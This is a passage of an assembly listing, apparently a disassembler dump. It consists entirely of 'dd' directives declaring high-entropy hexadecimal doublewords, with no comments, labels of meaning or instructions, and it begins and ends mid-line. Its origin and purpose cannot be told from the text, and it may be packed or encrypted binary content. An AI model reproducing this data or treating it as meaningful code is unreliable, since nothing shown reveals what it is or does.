0C228F9Eh dd 44CAEE0Eh, 0CBBE5EC1h, 5A94E90h, 97565127h, 55F92C53h dd 4746A4BEh, 0E4E1DC6Dh, 0FF932D50h, 0C6CCD06Fh, 0C2295DDDh dd 0F981EB5Eh, 750AEEC4h, 0B202B905h, 5D8A2248h, 0C20A8459h dd 0D0E4DC0Ch, 0FD1A007Eh, 4A10895h, 0CB449FA3h, 0A0A71658h dd 9107EBD0h, 273E4C25h, 2F899DB3h, 6259A2ADh, 0E85691BAh dd 0A15EB00Ah, 8D427114h, 30717DC4h, 0A5B62C03h, 7F8972E5h dd 18D50E75h, 6282D84Eh, 0A3323759h, 4AF593F5h, 0DCB6312Ah dd 0A11552AFh, 907DCE77h, 0B90263A3h, 0FED9FF33h, 0D387ECE0h dd 0E661CDD6h, 0B97FEF07h, 22944881h, 955B9F9Bh, 7D175C2Ch dd 1C255B8h, 0B871F80Fh, 35EE3693h, 55E2EEA7h, 0B92F2D25h dd 0B848FC85h, 5C825B38h, 0BFFEDA50h, 5BBDB663h, 0A041AB4Dh dd 74F6DF0Bh, 0E95A186Fh, 0A237F743h, 5B9FA0B6h, 0CAE8D721h dd 6651E44Fh, 51478C93h, 8F619F14h, 3D68471Ah, 1C54514Ah dd 831D0B75h, 9EC4DC3Dh, 0DE561427h, 0DF6E87Bh, 4C02FF0Ah dd 0C7488B09h, 0C2BCD325h, 0A5122A65h, 77094369h, 76F6140Ah dd 0F7495408h, 1FB96912h, 0A5AD6BD5h, 5D73FCCBh, 0D74A150Ah dd 292A0B29h, 0B94F9C43h, 58731391h, 4F182FAh, 0CAC25F7h dd 19C423F8h, 9100812h, 42210574h, 115732EBh, 3527E615h dd 0E0B60F17h, 0E5AE04B0h, 0D136ABD5h, 0A115C43Bh, 950F318Ch dd 976B92DFh, 42439428h, 14EB12AFh, 0B0621D3Eh, 210AFEFCh dd 0EF1AC5E8h, 44259E1Bh, 3E3DEB04h, 8914C833h, 0A46B3F23h dd 2816920Fh, 8B850D69h, 96D1C275h, 753233CEh, 7F766A56h dd 9D50CC2h, 4A1B1B0Eh, 2D10A94Bh, 1C28D8FCh, 0D35638EBh dd 254BF927h, 35EC5F1Fh, 39BFCDD3h, 0EB8EF2F8h, 11EB1411h dd 2B60F27Dh, 0C4A8B975h, 651C222Dh, 0F3D927EBh, 944562Dh dd 1CC0068Ah, 0ACAC084h, 0E10BDCCCh, 8ACF6A09h, 364D8580h dd 8955E32Eh, 64977DC0h dd 0F893C091h, 0C1362F6Dh, 0F97B57F2h, 3D4B6255h, 99080896h dd 0FB46467Fh, 630B0595h, 0E9E6299h, 92C11296h, 253E80EEh dd 52D94120h, 0CB329008h, 0E924E809h, 0F191F248h, 0B274EA2Ch dd 0DC70FB0Ch, 0E006E464h, 45C6F400h, 0ECC01F3h, 825E8AD0h dd 11016D5Fh, 29D2A904h, 0F4395470h, 44BDFBFFh, 0D0432F4Ch dd 65EB7200h, 4E06FB83h, 5E743E7Fh, 872A4A0Eh, 0A646C77Bh dd 0D0950A54h, 4C0AC1B1h, 9CFE3775h, 80C3EBC8h, 0DB36017Eh dd 20C072Ch, 4F468D34h, 0D07C232Ch, 0B781DA9Dh, 308B4369h dd 46CE27EEh, 5A22ACF2h, 17743268h, 37846C0Ah, 28778677h dd 0EEBF11Bh, 0F0067E79h, 0F14DFA06h, 7D808207h, 64DFC589h dd 0D314D025h, 0CA6DB14Fh, 0FA608AABh, 0C03783BCh, 7C9B0C04h dd 32D44551h, 0E4827DEAh, 88401475h, 9ADD533Ch, 0EEC64316h dd 51539078h, 1D9ED04h, 0CAA0107Eh, 0CE833304h, 6E5EC320h dd 74C4820Ch, 0EA631028h, 7B0ACB14h, 7CE62BFFh, 71FC1267h dd 0B90BEB70h, 3189DA1Fh, 57FA65F9h, 399470F4h, 97419F2h dd 8241F40Ah, 0B26207DCh, 8F896F3Ch, 0C090025Eh, 0FA1050Ah dd 2C129F63h, 186410E1h, 8E3104F8h, 670FA86Ah, 0A38617Eh dd 0A81B7469h, 57229BE3h, 0FCBC8A02h, 0D4C37CFh, 3C07648Fh dd 646A700Ah, 0EC14985Eh, 422D32F6h, 0EA8287Eh, 7A4D01E9h dd 8D2B8513h, 2B893CB5h, 0E753682h, 0B8C9D88h, 438A3D22h dd 2B260950h, 55AB1775h, 0A725BAC2h, 0C3A83557h, 6658893Eh dd 832F673Dh, 7F09E037h, 5DF44922h, 6F7E9D69h, 95288C4h dd 539138FAh, 62584485h, 0D9DC4421h, 821715A8h, 1E88E4B0h dd 125EBC46h, 0F41D38BBh, 66577589h, 235C2929h, 0AA57169h dd 142A0688h, 0D0AB6E46h, 63E424C9h, 28228E9Ch, 0C9D265FBh dd 0C477450Ah, 0A398E29h, 6506C676h, 2DAC7A37h, 5507575h dd 27934686h, 992C1E15h, 0AC342128h, 0A164AD0Fh, 12425EA7h dd 98C808C8h, 5345A026h, 0A209948Dh, 24A466A0h, 0C8DC05F6h dd 154D1BA0h, 0AFCC503Eh, 0A4645826h, 0F5013B4h, 4C812BEh dd 0BA48D450h, 5E417693h, 51B4B3B0h, 755224F8h, 6AFF0A20h dd 0A49D10C7h, 0D37E64B6h, 0BFE9EAA6h, 47FDB020h, 978B7538h dd 7A705F41h, 0FC96F1A8h, 51759F9Eh, 969E4ABFh, 0C3DDC911h dd 7413122Eh, 3B928224h, 0FA22A763h, 562C983Fh, 0C3128AEBh dd 0BC2A2204h, 71281DCAh, 0EA8B5162h, 804E90F7h, 4A5E673Fh dd 0C79308A7h, 721580E1h, 0A9223222h, 195E89EDh, 5C8B0644h dd 0FD8901F1h, 36AE0E9Eh, 7430FB35h, 1A24F1EBh, 28A15F1Ah dd 2F743B8Ch, 2AEA5810h, 6BFBF398h, 881A0E9h, 8A5E6F6Ah dd 2F513ABFh, 3AAC3B28h, 306A36A0h, 4E165B50h, 8C4D6DB3h dd 786A8582h, 1047CFEBh, 0C54C1891h, 0FEFFE817h, 0FD9CEA82h dd 7DC71CD1h, 1A847B45h, 0A75DC60Eh, 4746B209h, 20A72656h dd 558A07FEh, 0AE0735CBh, 475F96C1h, 7F36C2D6h, 0FE3D0B69h dd 135C355h, 3A473620h, 0F00473D1h, 8CEEBC1h, 9BEDEC2h dd 62177D0h, 306D233h, 46F22BF0h, 0C292CA8Bh, 0B309A9FCh dd 0CAB95F01h, 4E42009Ch, 0FA32FA75h, 44B460EBh, 8BD08AC8h dd 861FC157h, 92EC9BEBh, 4012299h, 33B8584h, 0CE255F89h dd 1A25E612h, 5E60FFE1h, 0A6E5AED0h, 430E4C48h, 48B5B3A4h dd 90BCB484h, 74805F58h, 6AC88B7Eh, 5ACB93FFh, 0E85D2C01h dd 1C86E2D3h, 1603F9C1h, 9C0D4C00h, 0D185CB33h, 0CF604874h dd 0C527586h, 4194EA64h, 880991A3h, 3162C845h, 0D2F19FDh dd 0CF594F5Ch, 0EBB2C92Eh, 59BF4225h, 72C2082Eh, 0D16216D0h dd 2FA4AD5Eh, 1489ACBBh, 316BC24h, 109E1A50h, 3919E9D4h dd 49D0722Eh, 50B51208h, 10F5B0BBh, 2813A5BAh, 7FCE2803h dd 0E6450243h, 8A72E364h, 0A02F8613h, 2E8C70D4h, 0C5C12083h dd 0A5083480h, 17CA664Fh, 0C6240675h, 4E8A80C4h, 3AEF66B5h dd 724DD049h, 0F15D0150h, 12E3E9CBh, 753E40F0h, 5295964Fh dd 99314477h, 280D64A0h, 9117A225h, 1473A355h, 5596D839h dd 59C708DCh, 53D06383h, 821E7389h, 0DC2E6605h, 0ECB1534Eh dd 0F05D615Eh, 4015756Fh, 537D38B8h, 34650A6h, 0E17A3958h dd 75AFC0F2h, 90D597DCh, 0A4D0F674h, 3E11B260h, 9919438Dh dd 4111A01h, 0AE05E532h, 1524ABF0h, 4FE9A432h, 2FF7973h dd 8402E9EDh, 4DBBB9DCh, 5587F7E6h, 0E1AF0DD1h, 1A62D7D9h dd 4C2E3C61h, 19B2460Fh, 700A3F74h, 0C54A3AD5h, 0A1176F2h dd 0C1166C08h, 3FE03E7h, 0D1BF3C88h, 2FD27FC7h, 3774C34Eh dd 916C7E53h, 0A1E4E839h, 7C8D02DAh, 0DEB7D01Fh, 5C743B88h dd 0F702740Ah, 46178CDFh, 32D7F9BCh, 1929CECCh, 563329CFh dd 1048D032h, 0D845405Eh, 0DC22A2BDh, 3E10EB32h, 0F76266F3h dd 0AE3038F9h, 0FE0ACF66h, 0C58F29Dh, 42DAA4DDh, 12D3BDA3h dd 3BC90600h, 0B9CFBC3h, 0A8CA5593h, 1888144Dh, 0E283273h dd 2585C850h, 0E69F5A3Eh, 0C637DD76h, 96EF25B7h, 0F76017A5h dd 0F244FC6Eh, 3EEA97F0h, 0F6566982h, 30565C70h, 7BC44DC7h dd 0E72D054Ah, 0C7172852h, 70FF2E26h, 52A910C4h, 0CC9A9711h dd 38286FE9h, 0C9E49FACh, 4E7FB982h, 1776AEC0h, 0B8107E56h dd 36048F62h, 21695B8Bh, 981034DDh, 90E6EE37h, 7EE2530h dd 0C31712D6h, 0FF1C62A9h, 978CF4Ah, 7C10AAAh, 63894101h dd 731652C3h, 30BFE640h, 0F74FFEBh, 0EE14DF97h, 0EF699E90h dd 0FC32D59Eh, 6443DD6h, 0FDF82398h, 0D2D6196Ch, 0C5F5E714h dd 9AF4257Ch, 98317DE9h, 19AF0261h, 13A6027Ah, 27A06817h dd 125D2AF4h, 0B4FB8108h, 284C7DA6h, 1D02E272h, 62FB0212h dd 101D6B97h, 36FA920Eh, 0D1977C95h, 53504996h, 0ED94D297h dd 0DDBE84E3h, 5FA87F98h, 9C7CFA92h, 6F6295A9h, 499D475Fh dd 74ED747Eh, 2B70F12Ah, 0C774E31h, 0B7030337h, 52EB4104h dd 8877C8E2h, 0C1090FBAh, 481175F9h, 8D85FE44h, 0FE8E225Eh dd 9102880Dh, 0BC8EB3FDh, 8E19B81Ah, 11C20D0Ah, 905FD2FCh dd 0B55D64FEh, 0B0026D19h, 0A45A8D8h, 0F32E9823h, 8220F23Bh dd 0F8C03D3Bh, 830F1309h, 0C93D8986h, 0FA23BF7h, 10430F0h dd 83697424h, 52936742h, 9D3CF8E7h, 16468979h, 30178BFAh dd 29108BCEh, 59E03981h, 40C53B32h, 0E22C931Ch, 2D46F750h dd 550AF5C9h, 0E89250F9h, 0ED2A1FACh, 0B219691Eh, 0B4645986h dd 74ED3CC1h, 25895509h, 8C04A665h, 151F815h, 88258314h dd 9C3A4BA2h, 7B9D09A7h, 7CDBA786h, 67135EA7h, 43F4F1Dh dd 0B876FF19h, 8166C794h, 0FBF70C21h, 13BF76A6h, 6226FC06h dd 925E0406h, 4C74F82Bh, 4083A409h, 244B5979h, 0EEA4E9E8h dd 2087E2C9h, 0FF0D46F6h, 987D0F69h, 0B8D067DBh, 1B46C4B1h dd 7322FBC0h, 0CB3C8B53h, 7CD551FFh, 802BC12Eh, 37E840F9h dd 850A966h, 0F39531F3h, 4AFC2D1Ah, 40122616h, 3B1738FBh dd 0E75C714h, 26439299h, 1289FD24h, 0BB07EB12h, 0CB0DC65Dh dd 0B52B63FFh, 0BF99058Eh, 8E449F8Dh, 1ACB8F66h, 0C8F63357h dd 355FC0F7h, 0E6B55080h, 0A14D0C7Eh, 8B0EA570h, 2BB00426h dd 48D3389Dh, 0E42E10BBh, 931F302Ch, 0F350B10h, 0D93FA910h dd 1D877991h, 16CAEB43h, 1313742Ch, 1B90E3A8h, 0BDC0EA5h dd 4D1C11D7h, 39B37C15h, 0B409E26Bh, 38B42B92h, 576C4297h dd 0BC4245CCh, 0AF0A8464h, 0F4645E89h, 0E9BA7A41h, 252CF72Bh dd 0CB117E09h, 0A0BF3608h dd 0D40A9DBBh, 447CA76Ah, 9B485D73h, 51EF6C37h, 40568B67h dd 7582C2ACh, 9780345Bh, 0CFF98357h, 5D3D1422h, 0F7EA5C1h dd 1BBD3C42h, 0BF04CFBAh, 44F8A20h, 0E1805F09h, 5C4E0C82h dd 0D8CEF006h, 7E8172EEh, 9F2C1858h, 774E68F2h, 14EB1FC4h dd 10A28CEEh, 6B0E8B80h, 311BD148h, 0BA9585D4h, 0E14E59A2h dd 2B09CDEAh, 0C455E0F6h, 5B03F73Eh, 0FC9064ECh, 0C584C849h dd 0A9C64901h, 29C929C3h, 57C93ABFh, 0C6FE9DCCh, 51508A3Dh dd 12E03BB0h, 0EB4FD39Eh, 4084B956h, 756497BBh, 30CB1ACFh dd 0A62E886h, 0E8AD297h, 0A3C0540h, 4DFF16E1h, 0A6187F10h dd 1B014F86h, 61F845C7h, 0AC0C682h, 0F1FF0A05h, 6BB968F4h dd 517C872Eh, 0C2AB3445h, 0C05C640Fh, 0E3D83A64h, 305586Ah dd 99FBC13Eh, 0D89C2BEh, 63A8CF64h, 3290AD43h, 43B66D5Eh dd 50B0267Ch, 0B518C8F3h, 221FFA9Ah, 0E7A1DBB9h, 0B28A1030h dd 0BE48906Eh, 8577317Bh, 0EC1B61D2h, 94B80A3Fh, 38B00C72h dd 88FB240Bh, 66E95F01h, 4E0678F8h, 0D07782F9h, 0CB38EF14h dd 8A209C45h, 681A3C0Ch, 0DC08BAEh, 0B6A00B74h, 2ABCFF47h dd 49734340h, 0ABC5A339h, 40452718h, 68DAF7Eh, 2E601283h dd 7C60D5Eh, 0E58B470Dh, 0B7CC5973h, 88591259h, 0D1A3D59Ch dd 15660A44h, 50D3475Eh, 0BD9DD74h, 8A132041h, 60205CAAh dd 0B8B8F17h, 44028847h, 29EB0531h, 7548413Bh, 0FFD580F1h dd 2EEEC8BEh, 0D418EBA5h, 0D8A1AB84h, 40F9F72Bh, 451741Ah dd 47C01478h, 99820F93h, 24F11ED2h, 0F4A9745Eh, 11933106h dd 0E18802E5h, 898E9C2Bh, 4BE8DEE7h, 22A5071Fh, 0E444EC87h dd 6712B7BDh, 587E7E5Fh, 1B626A08h, 0E152FC1Dh, 0EB223506h dd 10117069h, 0F171A720h, 65D0A73Ah, 39801A26h, 0C6FF0E40h dd 51C69046h, 1E6A24A1h, 0B1CA81Eh, 448DE2EBh, 31773209h dd 3E656613h, 0C567E47Eh, 0B96179B5h, 0B995485Ah, 688D3040h dd 51B87004h, 56204B08h, 27C322Eh, 746639EEh, 0BF527D0Dh dd 900E9BC4h, 38856558h, 89806083h, 88548D07h, 8690C17Fh dd 0FF608032h, 5400408h, 4AAE0F8Bh, 977DC162h, 8BDE1E4h dd 0BB4E7C4Ah, 0A157EF1h, 0D2041984h, 1E84467Eh, 383664C8h dd 0B44B4D8Ah, 24B22E9Bh, 0A62564A2h, 0EE32AE70h, 4BAF501Eh dd 0F57CB9CFh, 8899106h, 48883D61h, 83454787h, 5F55BC3h dd 67C4BAD6h, 0D83CED60h, 348D3AFFh, 854D7504h, 40181DBh dd 6AA82081h, 7858F627h, 48C32CFBh, 0F54C6E5Ch, 758A6CB3h dd 1742C77Ch, 0C67B957h, 1388E22Eh, 5BB53E89h, 94EB930h dd 0FEB4004h, 0A6784DAh, 0DBBF0817h, 8343C80Dh, 7C030AFBh dd 6CB9FF9Bh, 0EA8A686Eh, 44F685AFh, 5384CEBCh, 430A8D3Bh dd 0FA8F73B1h, 7D02F9Fh, 3C476094h, 20F5128h, 50562231h dd 0C752416h, 4FEB70F5h, 976C7A95h, 1C156DF9h, 0A05C12A2h dd 51A9A3FAh, 4B9E26EFh, 0A5126FE5h, 9D4FCE09h, 2D07D8E1h dd 0D1FD2456h, 0DC120A34h, 0E25A466Bh, 0A480C214h, 770B294Bh dd 0F86459D2h, 73A8FC06h, 1A74610Eh, 0F8F728Eh, 22CAF013h dd 0B974A192h, 87880355h, 0CE83C942h, 0CD08EFEEh, 14A72709h dd 5A070D74h, 52BE478Ah, 0B42985EAh, 0D34B3BE5h, 8ADF89E8h dd 0DC3C0BEh, 207E7F54h, 2B75E8F6h, 190A4564h, 7F0AC086h dd 481C330Eh, 4136AC9Ah, 4512C439h, 97606AA3h, 2A20C983h dd 4615B7EBh, 9C09938Eh, 86EE09A2h, 0EB147D14h, 90598E9h dd 0ABF6737Ah, 0FC6F3828h, 0CE816520h, 25EBDDB4h, 2620B882h dd 5975C885h, 0EAB20B74h, 0CC3E4630h, 0E3487462h, 10922ECDh dd 8340EF0Bh, 0F6407506h, 1EBBB0C5h, 2ACD803Bh, 0F8C8CF1Fh dd 0C8BA2EABh, 0BF8487D7h, 0C817752Eh, 6ECE5117h, 175957D4h dd 0AA707477h, 720CABD2h, 682F8684h, 0B0D8C4A4h, 3FD89BF6h dd 1E0727A7h, 0CB3BE1C4h, 0FA537F7Dh, 140412ECh, 914005FFh dd 6070894Dh, 47658C3h, 80A1866h, 0C1419F06h, 75327F10h dd 9A9B5A15h, 0ED3325B8h, 3BC0F980h, 7E0957D5h, 641D8B5Dh dd 3FB4CF5h, 74CD017Fh, 0C41F615h, 400AD883h, 0C2FC0DB2h dd 0EBEC7C03h, 0FF348B3Fh, 8EC02454h, 2DC1206Ah, 90C602E7h dd 30A00DFAh, 0F4E0489h, 73C2D30h, 0A0FD4A3Bh, 0F5ECF78Eh dd 104EF0A8h, 6E89FF1Bh, 0EDF89EECh, 0A2EEE98h, 0C64A8B1Ch dd 603099EBh, 535B2430h, 6CEB0442h, 0D4D80907h, 808C0F24h dd 8A5BFE4Fh, 978FE10Dh, 230EE15h, 585CBD34h, 0B04AF94Bh dd 0C364F6E2h, 0DEF0060Ah, 22F5A27Eh, 60E06AE8h, 0FC4B8D48h dd 6DC02A69h, 98BE90FFh, 89D616F7h, 0D1000975h, 57F02B87h dd 1C55C0C2h, 404E0C8Dh, 0E430B9F2h, 0C96BC812h, 4D033C0Ah dd 0D060618h, 4A964A78h, 151A04Fh, 0EC50CFB8h, 8C028D89h dd 55818011h, 0FDC07F7Ch, 2BD72074h, 3DD989E1h, 0B04570FBh dd 875CBF69h, 536D0141h, 923CDF46h, 780664CAh, 0C1535F80h dd 175625EBh, 12E8B63Ah, 1EA9A508h, 84A38EDh, 0FA3083Dh dd 0ACD64675h, 535B171Fh, 0BE638E19h, 3E6B6072h, 5127C55Eh dd 501AA825h, 41EB241Dh, 0DE42AF22h, 431C2226h, 48BE4854h dd 271093EBh, 0CBD55B20h, 7EF782FFh, 0A74A5955h, 0F8C8E525h dd 0A1E640DAh, 8C41EA2h, 48A11D4Ah, 4265DE2Ah, 59E93249h dd 0E55E5D34h, 3145D395h, 24A13220h, 0AD7A6BB7h, 3B2F09E8h dd 0CEB3C1C4h, 0AB400816h, 641564D1h, 0C14FD463h, 2FDF3BCBh dd 91AA5434h, 701B0436h, 245E0393h, 80DC73D1h, 0C4044D7Eh dd 9155E684h, 647A13F6h, 4EF11AC5h, 729B122Fh, 742DD07Ah dd 0B5B4C366h, 8E446226h, 4DF58958h, 231BF2A1h, 585011A6h dd 0D8C35086h, 74F73B00h, 0D45F632h, 0CC40EC04h, 0B2F21C7Eh dd 0D6413B89h, 0DB591E7Fh, 2255331Eh, 9C28FCDh, 658DBB01h dd 70797EC8h, 0B440B637h, 5A3B8F36h, 0B4329CC4h, 0DBE41612h dd 0FDC1B3A6h, 56B474DFh, 68E4CB95h, 549C74F1h, 75B40690h dd 0EB2B0804h, 52308D06h, 95022068h, 1529C066h, 0FAAFC058h dd 0DE717DD4h, 37C69202h, 0BE547572h, 85075CA2h, 0E18D56D2h dd 2E0D74FFh, 5F40BFF5h, 9C49F18Bh, 1BF31918h, 2B05D85Eh dd 2F843FD0h, 3167FC2h, 3BFB60BFh, 619B940Dh, 6979830Fh dd 64C13537h, 8AB2FFB2h, 32A0A825h, 66488A57h, 0A19C107Dh dd 7BF00632h, 9B4C09C9h, 822FFDF6h, 7351574Fh, 1464B7EBh dd 2F13BFC6h, 29C1C382h, 330EB2C2h, 803FCC8h, 5EE7860Fh dd 2C26EB25h, 2BFC39FCh, 8E740CADh, 0FE17299Bh, 0EFABD40h dd 14AA0A6Ch, 15C670F0h, 0BE88400Dh, 958DC80Ah, 0CA2B0B2Ah dd 7C62DE54h, 110DE2CCh, 79E22B3Ch, 130EA1B8h, 6CB7DC57h dd 43193F93h, 8A40F4E6h, 36C73BF8h, 0CA140B7Ch, 10D107FBh dd 0BA478A72h, 0C52814DAh, 4C9833EFh, 6A5F0788h, 45875805h dd 594C7582h, 0A6A3651Bh, 984C12A9h, 0B6005CCDh, 14C7EB08h dd 0DCF44D8Dh, 65D0E649h, 0D2280BA2h, 0EBF844B0h, 122DA5A7h dd 98C7529Ch, 2DB43D88h, 1C854064h, 3CB689FAh, 0FECD149Dh dd 226C42ACh, 3D89281Ch, 16EB286Dh, 6EF04FA0h, 0F5E34BEBh dd 4F98EE4Ah, 394E2701h, 353BEB81h, 344A2884h, 0B8BB2289h dd 52069203h, 4214F33Bh, 0B8D20B56h, 3968C050h, 72742630h dd 18F93A88h, 1A45403Dh, 0F1BFF17Ch, 45A320BCh, 3198334Ch dd 406A5524h, 0BF2D022Ah, 0CDC8B6A0h, 0A2B8E87Dh, 0ABF35188h dd 101EAA5Ch, 0A650B7A4h dd 7D8088EFh, 8414EE62h, 7012ABBh, 0A5118AEFh, 765EB3D2h dd 0FF41B61Bh, 0C23BE908h, 0A09387FCh, 0D3A18826h, 0EE13828Bh dd 92C25394h, 7052348Dh, 3D3D9049h, 9E15AA04h, 0F94E9260h dd 74CB010Fh, 1518A2Ch, 25B48EBBh, 0D2861C7Eh, 778B01FAh dd 20558B14h, 486292F6h, 86900843h, 1C284047h, 5741F576h dd 2D09EA80h, 4B927ED4h, 4ECFD58h, 0DAC1722Dh, 9C052A90h dd 0A6599A3h, 4AADA350h, 8D83400Ch, 79C654B6h, 712190BFh dd 0A35929A5h, 0EB183CBCh, 0FF798355h, 486B859Dh, 77D41E94h dd 4E82A264h, 15C57A3Dh, 3A56F172h, 55422D42h, 0FB681093h dd 0C3040C41h, 2AB4E4Ch, 390D0BEBh, 0B8A22C1Dh, 31850E74h dd 0DF0509B6h, 5DE932FFh, 0B6A04494h, 848AA32Ch, 1EC6FE56h dd 30F2F998h, 444825FFh, 15FDCA6Bh, 0FC0C48D1h, 120F7525h dd 881A140Fh, 9EA42D4Ah, 22740362h, 0ECD5E883h, 0D4C7539h dd 0F1482534h, 0F8B81F98h, 12CA43EEh, 821BE06h, 4822111Fh dd 0A14B6D57h, 0AA6D5C7Ah, 18A6B5AEh, 0DC649EBh, 5FC412DDh dd 541ECCEh, 24A6ED2Ah, 1E69E8FFh, 0A516450Bh, 8825107Ch dd 0EC052684h, 383A8A0h, 8AF472C6h, 85B2F245h, 84200E82h dd 5784427Ch, 61C2558Dh, 3EBB74B6h, 77C13B84h, 35C2AF1Dh dd 412BA1BCh, 3AD20B8h, 85483D54h, 4E4C562Dh, 1742AAE7h dd 6AFF368Ah, 5FD07505h, 0E8886A5Bh, 0EA4283FAh, 4C7B428Eh dd 565744B1h, 2495BA97h, 0A24FD24h, 0EF1F561Eh, 0F2923554h dd 0FC24443Eh, 667BC985h, 59B7A408h, 719B285Ch, 8B6673A0h dd 0E381114Ah, 0FB261674h, 948A1005h, 48651F05h, 0EB8CA090h dd 2302361Ch, 20101074h, 0E3EBB998h, 1DA08028h, 3D908290h dd 0EBBF01A8h, 0D4164949h, 32413F26h, 625A0A19h, 0C84C31ABh dd 0F720C1E4h, 1F4AA6F2h, 72611832h, 777A0A13h, 674F0E56h dd 0EB52E93Ch, 134DB3E0h, 0E45EBE97h, 0B860F036h, 6A12751Fh dd 84AAAAFDh, 0FD81597Dh, 7A1DB8F0h, 0A29CC588h, 0D02B7D2Eh dd 11755122h, 2FFF6BECh, 0EB8539ADh, 0ECB1BF63h, 0F09162Ah dd 8AA24D51h, 0E8DC4A01h, 1886F60Bh, 0C078875h, 41471374h dd 2FDB1935h, 0AE16541Ah, 89CA9814h, 2E9C1008h, 0A09BE75h dd 0F68B6780h, 0FEB2A363h, 4AC280C0h, 5E67B6B8h, 1758D62h dd 0D152DC1Fh, 1ACAB562h, 3A5F5F69h, 0BB538488h, 4B520965h dd 94E964DDh, 8588911h, 15989D5Ch, 5AFB8317h, 60FBC105h dd 665FC208h, 485234F6h, 0F614A022h, 0D89E294h, 4DE1C830h dd 0B5A1AB08h, 5DEC0C53h, 4E7CE85Bh, 0D1703F6h, 8C875DB8h dd 30DBC15h, 3B56D107h, 83BB7DCAh, 0D62B491Fh, 48B5310Ah dd 80268327h, 4A0CC606h, 0C48BF775h, 4BC43548h, 0AF8BD63Dh dd 180D0128h, 70EB8383h, 13903D29h, 5D208164h, 9087913Dh dd 3D4A8284h, 85421E93h, 8D3D3708h, 24088279h, 0E48F3D21h dd 3D112086h, 0A468492h, 0FF538A22h, 86A1E89h, 8959D305h dd 5ECF0B5Dh, 8DFBB4EBh, 2E522551h, 7EE492A3h, 0D1099219h dd 64401514h, 5D4F5B4Fh, 0ED02E6C9h, 263926C0h, 0B856ED88h dd 497406A1h, 0C8EC17EEh, 0FD0CC042h, 39040F00h, 0F53D7510h dd 5E491B8Dh, 1613B508h, 2F135510h, 16C78974h, 3BC8972Ah dd 9CBE6450h, 0F81F6B3Ch, 752216FDh, 11CFE25h, 0C8FA10B4h dd 8AB2117Fh, 708932B4h, 26685A3Fh, 99BE46E6h, 810D443Eh dd 203C0A10h, 76FF0676h, 0FA772D1Ah, 4740568h, 52E921CBh dd 33531781h, 5BCE10DBh, 5C575614h, 0A2D0B6D8h, 0C0FF3380h dd 74C33A50h, 3D743C12h, 0FF470125h, 78957FC6h, 0F7EBF812h dd 0E5BD04D8h, 4AF5E63Fh, 483B5FC8h, 0AC340AF3h, 2365AC65h dd 3D8B0A09h, 1F380042h, 57553974h, 0D88B3AA9h, 80314559h dd 5522943Fh, 0C33B3551h, 2F8E103Eh, 0B584BAA5h, 50DFB2FBh dd 3FA04EEh, 7570FD60h, 0A6FF5DC9h, 56669785h, 0C1D8928h dd 5F241EECh, 0EC16885Eh, 0A5F71E75h, 0BEB1BE42h, 2B812534h dd 0BF8924EBh, 91A10CD8h, 44A3202Ah, 0FE4B8BBCh, 0A85ACEFCh dd 55A74FFCh, 4959532Dh, 7538540Bh, 0D9055E1Ah, 2FD52988h dd 0A24514F9h, 303332CAh, 864B5067h, 366756B5h, 641450ECh dd 50A4B648h, 0A0A3199Dh, 997E5B0Fh, 560B2F92h, 5A06DD14h dd 0B398E621h, 0C79441BCh, 0F667DFB6h, 0CC8549B9h, 7EC9F137h dd 389949h, 508A449Ch, 48407901h, 2927BFFAh, 0FFAC001Bh dd 3E200C9Dh, 90857C01h, 108A0271h, 40461688h, 31D50CA4h dd 0D54CEEBh, 1EC7BAC4h, 3A3141CAh, 125243EBh, 0A1FAC05h dd 0DA8ACF40h, 25D383C8h, 0CF501834h, 6820CDCFh, 126EBA09h dd 1DCC75E4h, 88480309h, 66894BBCh, 70F0D8FFh, 0C29ED218h dd 8A2DE0D7h, 86052C02h, 54BE0328h, 8AC818F1h, 7BB0BD34h dd 27A147Eh, 0D812D1A2h, 5C46868Ch, 40047512h, 931E10EBh dd 895F2C89h, 49970BF4h, 6F6C1810h, 2214783Eh, 3C6BE48Dh dd 3EB6702h, 4F56C6EAh, 378D6A7h, 0C2940F18h, 0D1050CF6h dd 4BD38BEBh, 430EA8D1h, 14C68948h, 0B2465C06h, 419AF85Ah dd 4AA81181h, 7C80B883h, 228B0A52h, 9D3AEA3Fh, 2EDB864Bh dd 0E3195329h, 209906E4h, 910F1C58h, 2D03E641h, 0E1A404D2h dd 31244855h, 1FC520A6h, 0C842F254h, 4A278303h, 0AECAF78Fh dd 5DC6CA75h, 0A4384182h, 0BC815304h, 0FA2E302Dh, 7FF0CE53h dd 0D7C1A2F6h, 0D50A0C8Ch, 0F30B52BCh, 4417AD74h, 28891239h dd 77970DD8h, 0A1EABC39h, 2111C25h, 0C956BF62h, 811A4171h dd 0C44491Dh, 50914049h, 39660BC2h, 0EC74081Eh, 1270401Ch dd 0A4F97518h, 2BF21607h, 0D13016C6h, 30F8D1B9h, 6D2408Fh dd 89085E18h, 34240B44h, 3600D7FFh, 3274EB3Bh, 2ACD33B1h dd 0CB230B60h, 2F77553Ah, 0DD4D7A69h, 0E5B9AF2h, 2393D9F9h dd 14345C28h, 0D2F0098Bh, 0E25C8A38h, 90A45312h, 8A6A24Ch dd 7470B286h, 0F061B03Ch, 4D0E97C7h, 7EDF8FBh, 0EF2BF605h dd 0CE0ED69Bh, 36FF818Eh, 0AB10CF35h, 0BEB16FCh, 0DD56BB0Bh dd 90F5DAECh, 0C6893C7Ch, 8BFFD95Fh, 207F595Bh, 324356ADh dd 0E7587430h, 1188D9D2h, 17AA5E08h, 17D7BD72h, 24BE40F7h dd 9CBCBFB5h, 8896AC97h, 0BE44A610h, 73444332h, 0F7087B02h dd 706192C9h, 7CF076E4h, 35F08F5Ah, 55563E45h, 0FF106B06h dd 5D321854h, 0E00B855Eh, 6578339Eh, 44534D3Ch, 0C60E380h dd 0A9563D04h, 803A20Dh, 51816F5Bh, 0E37B8F44h, 47979AFh dd 790CACCDh, 8E7BD2FFh, 4334CF1Bh, 4BB8A1EBh, 0E4CE1DF1h dd 51565ADh, 72FF6A5Dh, 17AB5D40h, 556539DFh, 3D7AED7Ah dd 1C418C29h, 0E9180850h, 0A1C2255Ch, 0E13FA198h, 480C3D88h dd 2A6754C3h, 942F3DF2h, 0C81E6320h, 0D3FC6821h, 9321FB7Fh dd 0F5243CA1h, 167BB559h, 2D16D639h, 5E5A1A59h, 0B77ABC10h dd 0C8B8E1C0h, 0BAA8C994h, 23F20B5Eh, 12465811h, 4CA056F1h dd 3B0314E6h, 0FF4B1B96h, 6D1942C9h, 91FD8D2Bh, 0AFD20DE3h dd 0FA81AE31h, 0A2AB7645h, 858D09C0h, 0EF14DD5Ch, 0E4BB6A70h dd 22E47525h, 